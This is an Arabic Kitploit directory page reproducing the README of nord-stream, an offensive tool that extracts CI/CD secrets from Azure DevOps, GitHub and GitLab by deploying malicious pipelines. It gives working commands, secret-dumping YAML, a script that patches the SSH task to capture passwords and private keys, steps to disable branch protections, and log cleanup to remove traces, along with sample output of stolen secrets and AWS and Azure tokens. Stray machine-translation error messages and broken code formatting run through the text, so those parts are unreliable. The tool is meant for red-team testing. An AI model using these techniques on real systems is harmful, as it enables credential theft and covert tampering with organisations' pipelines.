Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nord-stream — Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب ضارة. تدعم حالياً Azure DevOps وGitHub وGitLab. | Kitploit
أدوات/GitHubGitHub/synacktiv/nord-stream
الاستغلالأدوات انتحال الشخصيةتسريب البياناتجمع المعلوماتاختبار الاختراقDevSecOpsكشف الأسرارالفريق الأحمر
GitHubsynacktiv/nord-stream

nord-stream

Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب ضارة. تدعم حالياً Azure DevOps وGitHub وGitLab.

عرض المستودع
3702247منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

Nord Stream

Nord Stream هي أداة تسمح لك باستخراج الأسرار المخزنة داخل بيئات CI/CD عن طريق نشر خطوط أنابيب خبيثة.

تدعم حاليًا Azure DevOps وGitHub وGitLab.

اعرف المزيد في مقال المدونة التالي: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks

جدول المحتويات

  • Nord Stream
    • جدول المحتويات
    • التثبيت
    • الاستخدام
      • الوسائط المشتركة
        • وصف التوكن
        • بناء YAML
        • YAML
        • تنظيف السجلات
        • توقيع الالتزامات
      • Azure DevOps
        • اتصالات الخدمة
          • SSH
        • عرض المؤسسات
        • المساعدة
      • GitHub
        • عرض الحمايات
        • تعطيل الحمايات
        • فرض
        • Azure OIDC
        • AWS OIDC
        • المساعدة
      • GitLab
        • عرض الأسرار
        • YAML
        • عرض الحمايات
Output directory for logs --ignore-cert Allow insecure server connections Output directory for logs --url <gitlab_url> Gitlab URL [default: ] --ignore-cert Allow insecure server connections
المساعدة
  • TODO
  • التواصل
  • التثبيت```

    $ pipx install git+https://github.com/synacktiv/nord-stream

    root@kitploit:~
    `git` مطلوب أيضًا (انظر https://git-scm.com/download/) ويجب أن يكون موجودًا في `PATH` الخاصة بك.
    
    ## الاستخدام
    
    إليك مثال بسيط على GitHub؛ في البداية، يمكن للمرء تعداد الأسرار المختلفة.```sh
    $ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
    [*] Listing secrets:
    [*] "org/repo" secrets
    [*] Repo secrets:
            - REPO_SECRET
            - SUPER_SECRET
    [*] PROD secrets:
            - PROD_SECRET
    

    ثم تابع إلى عملية استخراج البيانات:```sh $ nord-stream github --token "$GHP" --org org --repo repo
    [+] "org/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch [] Getting secrets from repo: "org/repo" [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_SUPER_SECRET=value for super secret secret_REPO_SECRET=repository secret

    [] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment

    [] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github

    root@kitploit:~
    ### الوسائط المشتركة
    
    بعض الوسائط مشتركة بين [GitHub](#github) و[Azure DevOps](#azure-devops) و[GitLab](#gitlab)، وهذه بعض الأمثلة.
    
    #### وصف التوكن
    
    يمكن استخدام الخيار `--describe-token` لعرض معلومات عامة حول التوكن الخاص بك:```bash
    $ nord-stream github --token "$PAT" --describe-token
    [*] Token information:
            - Login: CICD
            - IsAdmin: False
            - Id: 1337
            - Bio: None
    
    

    إنشاء YAML

    يمكن استخدام الخيار --build-yaml لإنشاء ملف خط أنابيب دون نشره. يسترجع أسماء الأسرار المختلفة لبناء خط الأنابيب المرتبط، والذي يمكن استخدامه لإضافة خطوات مخصصة:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml [+] YAML file: name: GitHub Actions 'on': push jobs: init: runs-on: ubuntu-latest steps: - run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0 name: command env: secret_PROD_SECRET: ${{secrets.PROD_SECRET}} environment: PROD

    root@kitploit:~
    #### YAML
    
    يمكن استخدام خيار `--yaml` لنشر خط أنابيب مخصص:```yml
    name: GitHub Actions
    'on': push
    jobs:
      init:
        runs-on: ubuntu-latest
        steps:
        - run: echo "Hello from step 1"
          name: step 1
        - run: echo "Doing some important stuff here"
          name: command
        - run: echo "Hello from last step "
          name: last step
    

    No input text was provided. Please paste the Markdown chunk to translate.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here

    [] Cleaning logs. [] Check output: .../nord-stream-logs/github

    root@kitploit:~
    افتراضيًا، سيعرض مخرجات المهمة المسماة `command` من وظيفة `init`، ولكن يتم تخزين كل شيء محليًا ويمكن الوصول إليه يدويًا:```bash
    $ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
    2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
    2023-07-18T20:08:33.0459084Z echo "Hello from last step "
    2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
    2023-07-18T20:08:33.0511890Z ##[endgroup]
    2023-07-18T20:08:33.0597853Z Hello from last step
    

    تنظيف السجلات

    افتراضيًا، سيحاول Nord Stream إزالة الآثار المتبقية بعد نشر خط أنابيب، اعتمادًا على صلاحياتك. للحفاظ على الآثار، يمكن استخدام خيار --no-clean. سيؤدي هذا إلى الاحتفاظ بسجلات خط الأنابيب، لكنه سيظل يعيد التغييرات التي أُجريت على المستودع. لاحظ أنه بالنسبة إلى GitLab، لا يمكن حذف بعض الآثار.

    توقيع الالتزامات

    يمكن لمشرفي المستودعات فرض توقيع الالتزامات المطلوب على فرع ما لحظر جميع الالتزامات غير الموقعة وغير الموثقة. مع Nord Stream، من الممكن توقيع الالتزامات لتجاوز هذه الحماية.

    أولاً، أنشئ واستورد مفتاح GPG الخاص بك على منصة SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]

    root@kitploit:~
    Please provide the Markdown content to translate.```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main  --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
    [*] Using branch: "main"
    [+] "synacktiv/repo"
    [*] Getting secrets from environment: "prod" (synacktiv/repo)
    [*] Getting workflow output
    [!] Workflow not finished, sleeping for 15s
    [+] Workflow has successfully terminated.
    [+] Secrets:
    secret_PROD_SECRET=my PROD_SECRET
    
    

    يبدو أن محتوى الإدخال (INPUT) فارغ أو غير مرفق في هذه الرسالة. لا يوجد نص متاح لترجمته. يرجى إرسال نص القسم (Chunk 21) المطلوب ترجمته.```bash $ git verify-commit 00dcd856624bc9a41f8bd70662f0650839730973 gpg: Signature made Tue 18 Jul 2023 10:34:18 PM CEST gpg: using DSA key B1583F439899C5A3B74ED04BF94496913C43EFC5 gpg: Good signature from "test-gpg [email protected]" [ultimate] Primary key fingerprint: B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5

    root@kitploit:~
    ### Azure DevOps
    
    يمكن لـ Nord Stream استخراج الأنواع التالية من الأسرار:
    - مجموعات المتغيرات (vg)
    - الملفات الآمنة (sf)
    - اتصالات الخدمة
    
    #### اتصالات الخدمة
    
    يتيح Azure DevOps إمكانية إنشاء اتصالات مع الخدمات الخارجية والبعيدة لتنفيذ المهام في وظيفة. وللقيام بذلك، يتم استخدام اتصالات الخدمة. يحتفظ اتصال الخدمة ببيانات اعتماد لهوية ما إلى خدمة بعيدة. هناك أنواع متعددة من اتصالات الخدمة في Azure DevOps.
    
    يدعم Nord Stream حاليًا استخراج الأسرار للأنواع التالية من اتصالات الخدمة:
    - AzureRM
    - GitHub
    - AWS
    - SonarQube
    - SSH
    
    إذا صادفت نوعًا غير مدعوم، يرجى فتح issue أو إرسال pull request :)
    
    ##### SSH
    
    كان استخراج هذا النوع من اتصالات الخدمة مؤلمًا في التنفيذ. الناتج هو ما يلي:```
    hostname:::port:::user:::password:::privatekey
    

    إذا كنت تريد تشغيله على مشغّل مستضاف ذاتيًا، يمكنك القيام بما يلي:``` $ nord-stream devops ... --build-yaml test.yml --build-type ssh
    [+] YAML file: trigger: none pool: vmImage: ubuntu-latest steps:

    • checkout: none
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js) ; cp $SSH_FILE $SSH_FILE.bak ; sed -i 's|const readyTimeout = getReadyTimeoutVariable();|const readyTimeout = getReadyTimeoutVariable();\nconst fs = require("fs");var data = "";data += hostname
      • ":::" + port + ":::" + username + ":::" + password + ":::" + privateKey;fs.writeFile("/tmp/artefacts.tar.gz", data, (err) => {});|' $SSH_FILE displayName: Preparing Build artefacts
    • task: SSH@0 inputs: sshEndpoint: '#FIXME' runOptions: commands commands: sleep 1
    • script: SSH_FILE=$(find /home/vsts/work/_tasks/ -name ssh.js); mv $SSH_FILE.bak $SSH_FILE ; cat /tmp/artefacts.tar.gz | base64 -w0 | base64 -w0 ; echo '' displayName: Build artefacts
    root@kitploit:~
    ثم يجب عليك:
    1) غيّر `vmImage: ubuntu-latest` إلى `name: 'Self-Hosted pool name'`
    2) أضف اسم اتصال الخدمة في العنصر النائب `#FIXME`.
    3) انشر الـ pipeline باستخدام: `--yaml test.yml`
    
    إذا كنت بحاجة إلى تشغيل هذا على جهاز تشغيل ذاتي الاستضافة بنظام Windows، ففي طريقة `generatePipelineForSSH` غيّر `_serviceConnectionTemplateSSH` إلى `_serviceConnectionTemplateSSHWindows` ونفّذ الإجراءات الموصوفة سابقًا.
    
    ملاحظة: بالنسبة لأجهزة التشغيل ذاتي الاستضافة لكل من Windows و Linux، تحتاج إلى تكييف المسار (`/home/vsts/work/_tasks/` أو `D:\a\`) ليطابق المسار الذي يتم فيه نشر جهاز التشغيل. يمكن الحصول على هذه المعلومات من تبويب `Capabilities` الخاص بوكيل في Azure DevOps.
    
    #### سرد المؤسسات
    
    باستخدام رمز وصول، يمكن سرد المؤسسات المرتبطة بمستخدم:```
    $ nord-stream devops --token "eyJ0eXA..." --list-orgs
    [*] User orgs:
            - myorg
            - supersecretorg
    

    يستند هذا إلى هذا البحث.

    المساعدة```

    $ nord-stream devops -h CICD pipeline exploitation tool

    Usage: nord-stream devops [options] --token --org [extraction] [--project --write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --yaml --project [--write-filter --no-clean --branch-name --pipeline-name --repo-name ] nord-stream devops [options] --token --org --build-yaml [--build-type ] nord-stream devops [options] --token --org --clean-logs [--project ] nord-stream devops [options] --token --org --list-projects [--write-filter] nord-stream devops [options] --token --org (--list-secrets [--project --write-filter] | --list-users) nord-stream devops [options] --token --org --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token Azure DevOps personal token or JWT --org Org name -p, --project Run on selected project (can be a file) -y, --yaml Run arbitrary job --clean-logs Delete all pipeline created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --list-projects List all projects. --list-secrets List all secrets. --list-users List all users. --write-filter Filter projects where current user has write or admin access. --build-yaml Create a pipeline yaml file with default configuration. --build-type Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh --describe-token Display information on the token --branch-name Use specific branch name for deployment. --pipeline-name Use pipeline for deployment. --repo-name Use specific repo for deployment.

    Exctraction: --extract Extract following secrets [vg,sf,gh,az,aws,sonar,ssh] --no-extract Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]

    Examples: List all secrets from all projects $ nord-stream devops --token "$PAT" --org myorg --list-secrets

    root@kitploit:~
    Dump all secrets from all projects
    $ nord-stream devops --token "$PAT" --org myorg
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ### GitHub
    
    #### سرد الحمايات
    
    يمكن استخدام خيار `--list-protections` لسرد الحمايات المطبَّقة على فرع وعلى البيئات:```bash
    $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --list-protections
    [*] Using branch: "main"
    [*] Checking security: "synacktiv/repo"
    [*] Found branch protection rule on "main" branch
    [*] Branch protections:
            - enforce admins: True
            - block creations: True
            - required signatures: True
            - allow force pushes: False
            - allow deletions: False
            - required pull request reviews: False
            - required linear history: False
            - required conversation resolution: False
            - lock branch: False
            - allow fork syncing: False
    [*] Environment protection for: "DEV":
            - deployment branch policy: custom
    [*] No environment protection rule found for: "INT"
    [*] Environment protection for: "PROD":
            - deployment branch policy: custom
    

    اعتمادًا على صلاحياتك، قد تحصل على معلومات أقل؛ فقط المسؤولون يمكنهم رؤية التفاصيل الكاملة للحمايات.

    تعطيل الحمايات

    يمكن استخدام خيار --disable-protections لتعطيل الحمايات المطبقة على فرع أو بيئة مؤقتًا، وتنفيذ التفريغ (dump) ثم استعادة جميع الحمايات:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --no-repo --no-org --env prod --disable-protections [] Using branch: "main" [+] "synacktiv/repo" [] Found branch protection rule on "main" branch [...] [!] Removing branch protection, wait until it's restored. [] Getting secrets from environment: "prod" (synacktiv/repo) [] Environment protection for: "PROD": - deployment branch policy: custom [!] Modifying env protection, wait until it's restored. [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [!] Restoring env protections. [+] Secrets: secret_PROD_SECRET=my PROD_SECRET

    [*] Cleaning logs. [!] Restoring branch protection.

    root@kitploit:~
    This requires admin privileges.
    
    #### Force
    
    By default, if Nord Stream detect a protection on a branch or on an environment it won't perform the secret extraction. If you think that the protections are too permissive or can be bypassed with your privileges, the `--force` option can be used to deploy the pipeline regardless of protections.
    
    #### Azure OIDC
    
    OIDC (OpenID Connect) can be used to connect to cloud services. The general idea is to allow authorized pipelines or workflows to get short-lived access tokens directly from a cloud provider, without involving any static secrets. Authorization is based on trust relationships configured on the cloud provider's side and being conditioned by the origin of the pipeline or workflow.
    
    Here is an example of a GitHub workflow using OIDC:```yaml
    [...]
    steps:
        - name: OIDC Login to Azure Public Cloud
        uses: azure/login@v1
        with:
            client-id: ${{ secrets.AZURE_CLIENT_ID }}
            tenant-id: ${{ secrets.AZURE_TENANT_ID }}
            subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} # this can be optional
    

    إذا صادفت مثل هذا السير العمل، فهذا يعني أن المستودع قد يكون مُهيأً للحصول على رمز وصول قصير الأمد يمكن أن يمنحك الوصول إلى موارد Azure.

    يستطيع Nord Stream نشر خط أنابيب (pipeline) لاسترداد رمز الوصول هذا مع الخيارات التالية:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --azure-client-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 --azure-tenant-id 65cd6002-25b9-11ee-88ac-7f80b19430c2 [] Using branch: "main" [+] "synacktiv/repo" [] No branch protection rule found on "main" branch [] Running OIDC Azure access tokens generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC access tokens: Access token to use with Azure Resource Manager API: { "accessToken": "eyJ0eXAiOiJK[...]PVig", "expiresOn": "2023-07-18 23:18:57.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    Access token to use with MS Graph API: { "accessToken": "eyJ0eXAi[...]_qTA", "expiresOn": "2023-07-19 22:18:59.000000", "subscription": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tenant": "65cd6002-25b9-11ee-88ac-7f80b19430c2", "tokenType": "Bearer" }

    root@kitploit:~
    The `--azure-subscription-id` اختياري ويمكن استخدامه للحصول على رمز وصول لاشتراك معيّن.
    
    #### AWS OIDC
    
    يمكن استخدام التقنية نفسها (انظر [Azure OIDC](#azure-oidc)) للحصول على رمز جلسة على AWS.
    
    فيما يلي مثال على سير عمل يستخدم AWS OIDC:```yaml
    [...]
    steps:
        - name: Configure AWS Credentials
        uses: aws-actions/configure-aws-credentials@v1
        with:
            role-to-assume: arn:aws:iam::133333333337:role/S3Access/CustomRole
            role-session-name: oidcrolesession
            aws-region: us-east-1
    

    إذا صادفت مثل هذا السير، فهذا يعني أن المستودع قد يكون مُهيأً للحصول على رمز وصول AWS يمكن أن يمنحك إمكانية الوصول إلى موارد AWS.

    يستطيع Nord Stream نشر خط أنابيب لاسترجاع رمز الوصول هذا مع الخيارات التالية:```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --aws-role 'arn:aws:iam::133333333337:role/S3Access/CustomRole' --aws-region us-east-1 --force [+] "Synacktiv/repo" [] Running OIDC AWS credentials generation workflow [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] OIDC credentials: AWS_DEFAULT_REGION=us-east-1 AWS_SESSION_TOKEN=IQoJb3[...]KMs0/QB6 AWS_REGION=us-east-1 AWS_ACCESS_KEY_ID=ASIA5ABC8XDMAP2ANNWO AWS_SECRET_ACCESS_KEY=7KJLCjdJKqlpLKDAI9F7SH6SjSQBX68Sjm13xXDA

    root@kitploit:~
    #### المساعدة```
    $ nord-stream github -h
    CICD pipeline exploitation tool
    
    Usage:
        nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]
        nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--env <env>]
        nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--azure-subscription-id <subscription> --repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]
        nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections (--key-id <id> --user <user> --email <email>)]
        nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]
        nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]
        nord-stream github [options] --token <ghp> --describe-token
    
    Options:
        -h --help                               Show this screen.
        --version                               Show version.
        -v, --verbose                           Verbose mode
        -d, --debug                             Debug mode
        --output-dir <dir>                      Output directory for logs
    
    Signing:
        --key-id <id>                           GPG primary key ID
        --user <user>                           User used to sign commits
        --email <email>                         Email address used to sign commits
    
    args
        --token <ghp>                           Github personal token
        --org <org>                             Org name
        -r, --repo <repo>                       Run on selected repo (can be a file)
        -y, --yaml <yaml>                       Run arbitrary job
        --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.
        --no-clean                              Don't clean workflow logs (default false)
        --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.
        --build-yaml <filename>                 Create a pipeline yaml file with all secrets.
        --env <env>                             Specify env for the yaml file creation.
        --no-repo                               Don't extract repo secrets.
        --no-env                                Don't extract environnments secrets.
        --no-org                                Don't extract organization secrets.
        --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).
        --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).
        --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).
        --aws-role <role>                       AWS role to assume (OIDC related).
        --aws-region <region>                   AWS region (OIDC related).
        --list-protections                      List all protections.
        --list-repos                            List all repos.
        --list-secrets                          List all secrets.
        --disable-protections                   Disable the branch protection rules (needs admin rights)
        --write-filter                          Filter repo where current user has write or admin access.
        --force                                 Don't check environment and branch protections.
        --branch-name <name>                    Use specific branch name for deployment.
        --describe-token                        Display information on the token
    
    Examples:
        List all secrets from all repositories
        $ nord-stream github --token "$GHP" --org myorg --list-secrets
    
        Dump all secrets from all repositories and try to disable branch protections
        $ nord-stream github --token "$GHP" --org myorg --disable-protections
    
    Authors: @hugow @0hexit
    

    GitLab

    كما هو موصوف في المقال، لا توجد طريقة لإزالة السجلات في تبويب النشاط بعد نشر خط أنابيب. يجب أخذ هذا في الاعتبار أثناء عمليات الفريق الأحمر.

    سرد الأسرار

    يمكن استخدام الخيار --list-secrets لسرد واستخراج الأسرار من GitLab.

    تختلف طريقة إدارة GitLab للأسرار قليلاً عن Azure DevOps وGitHub action. مع وصول إداري إلى مشروع أو مجموعة أو حتى وصول إداري على مثيل GitLab، يمكن استخراج جميع متغيرات CI/CD المعرَّفة دون نشر أي خط أنابيب.

    أما بالنسبة لمستخدم بصلاحيات منخفضة، فمن غير الممكن سرد الأسرار المعرَّفة على مستوى المشروع / المجموعة أو المثيل. ومع ذلك، إذا كان لدى المستخدمين صلاحيات كتابة على مشروع، فسيتمكنون من نشر خط أنابيب خبيث لاستخراج متغيرات البيئة التي تكشف متغيرات CI/CD. هذا يعني أنه ليس لدى المستخدم بصلاحيات منخفضة أي وسيلة لمعرفة ما إذا كان هناك سر معرَّف في مشروع معين. الطريقة الوحيدة هي النظر إلى خطوط الأنابيب المشروعة الموجودة بالفعل في مشروع والتحقق مما إذا كان خط الأنابيب يستخدم متغيرات بيئة حساسة.

    في ما يلي ملف خط أنابيب لتنفيذ هذه العملية على GitLab:```yaml stages:

    • synacktiv

    deploy-production: image: ubuntu:latest stage: synacktiv script: - env | base64 -w0 | base64 -w 0

    root@kitploit:~
    يدعم GitLab أيضًا الملفات الآمنة مثل Azure DevOps. يتم تعريف الملفات الآمنة على مستوى المشروع. وكما هو الحال مع المتغيرات، لا يمكن سرد الملفات الآمنة دون وصول المسؤول إلى المشروع. ومع ذلك، مع وصول المسؤول، سيحاول nord-stream استخراج الملفات الآمنة المتعلقة بالمشاريع.
    
    #### YAML
    
    نفس [YAML](#yaml)، لكنك تحتاج إلى توفير مسار المشروع الكامل على النحو التالي:```sh
    $ nord-stream gitlab --token "$PAT" --url https://gitlab.corp.local --project 'group/projectname' --yaml ci.yml
    

    مخرجات الأمر --list-projects تُرجع هذا المسار.

    قائمة الحمايات

    نفس قائمة حمايات GitHub

    المساعدة```

    $ nord-stream gitlab -h CICD pipeline exploitation tool

    Usage: nord-stream gitlab [options] --token (--list-secrets | --list-protections) [--project --group --no-project --no-group --no-instance --write-filter] nord-stream gitlab [options] --token ( --list-groups | --list-projects ) [--project --group --write-filter] nord-stream gitlab [options] --token --yaml --project [--no-clean] nord-stream gitlab [options] --token --clean-logs [--project ] nord-stream gitlab [options] --token --describe-token

    Options: -h --help Show this screen. --version Show version. -v, --verbose Verbose mode -d, --debug Debug mode --output-dir

    https://gitlab.com

    Commit: --user User used to commit --email Email address used commit --key-id GPG primary key ID to sign commits

    args: --token GitLab personal access token or _gitlab_session cookie --project Run on selected project (can be a file) --group Run on selected group (can be a file) --list-secrets List all secrets. --list-protections List branch protection rules. --list-projects List all projects. --list-groups List all groups. --write-filter Filter repo where current user has developer access or more. --no-project Don't extract project secrets. --no-group Don't extract group secrets. --no-instance Don't extract instance secrets. -y, --yaml Run arbitrary job --branch-name Use specific branch name for deployment. --clean-logs Delete all pipeline logs created by this tool. This operation is done by default but can be manually triggered. --no-clean Don't clean pipeline logs (default false) --describe-token Display information on the token

    Examples: Dump all secrets $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --list-secrets

    root@kitploit:~
    Deploy the custom pipeline on the master branch
    $ nord-stream gitlab --token "$TOKEN" --url https://gitlab.local --yaml exploit.yaml --branch master --project 'group/projectname'
    

    Authors: @hugow @0hexit

    root@kitploit:~
    ## المهام
    
    - [ ] إضافة دعم لعناوين URL المقابلة لخوادم Azure DevOps (الحلول المحلية)
    - [ ] إضافة خيار لاستخراج الأسرار عبر مضيفي Windows
    - [ ] إضافة دعم لبيئات CI/CD الأخرى (Jenkins/Bitbucket)
    - [ ] استخدام GitHub GraphQL API بدلاً من REST لسرد قواعد حماية الفروع وتعطيلها مؤقتًا إذا كانت تطابق الفرع الخبيث الذي سيتم دفعه
    
    
    ## التواصل
    
    يرجى إرسال أي أخطاء أو مشكلات أو أسئلة أو طلبات ميزات ضمن "Issues" أو إرسالها إلينا على تويتر [@hugow](https://twitter.com/hugow_vincent) و [@0hexit](https://twitter.com/0hexit).
    
    تنزيل الأداة